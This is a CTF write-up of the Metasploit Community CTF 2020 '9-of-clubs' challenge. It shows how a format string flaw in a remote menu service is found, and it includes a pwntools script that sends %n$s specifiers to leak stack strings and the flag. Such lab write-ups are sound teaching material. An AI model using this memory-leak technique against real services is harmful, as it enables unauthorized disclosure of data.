Metasploit Community CTF 2020 (Dec) Write-up: 9-of-clubs (port 1337)

This fun little challenge was solved by our binary exploitation expert: benything.

This fun little challenge was solved by our binary exploitation expert: benything.

Summary

The 9-of-clubs challenge is remote binary exploitation challenge. It features a basic command line application that can be exploited using format strings.

Walk-through

The application presents us with 3 options that all accept user input:

The 9 of clubs service

The 9 of clubs service

We can detect if the application is vulnerable to a format strings attack by sending a format specifier, %x %s %d etc. , and seeing if it is interpreted. One of the easiest is %x that will print the memory as an Unsigned hexadecimal integer. Using this on the 2nd options returns some hexadecimal output, bingo.

Test showing successful interpretation of a format specifier

Test showing successful interpretation of a format specifier

We can now spam lots of %x to view what’s in memory

Some of these are the variables stored on the stack, and some memory addresses that point to other variables. The repeated section of 25 78 20 are our %x’s represented in hex.

Rather than entering lots of specifiers we can use specifiers that request a numbered argument such as %2$x. We can also replace our safe %x with %s in order to print out the string found at the memory location specified. This is known as dereferencing a pointer.

We can create a little pwntools script to iterate over the memory and print out any strings it finds

from pwn import *

def attack(num):
    try:
        p = remote('127.0.0.1',1337)
        
        p.recvuntil('Exit\n')

        p.sendline('2')

        p.recvuntil('name...\n')

        # Create format string specifier like '%3$s'
        p.sendline('%'+str(num)+'$s')

        # Get the reponse, containing derefrenced string
        resp = p.recvline()
        p.close()
        
        return resp
    except:
        return 'NULL'


for i in range(0,10):
    print(i, attack(i))

This turned out to be overkill as we only need to print the 10th argument in order to receive the flag:

pwntools script getting the flag

pwntools script getting the flag

Flag

Unfortunately as this is a binary challenge the actual flag isn’t shown, we are just given the md5:

b17ef17454081e89c084d5182d76c527

Other Challenges

Most of the other flags have been written up by my team-mate rushi and can be found here.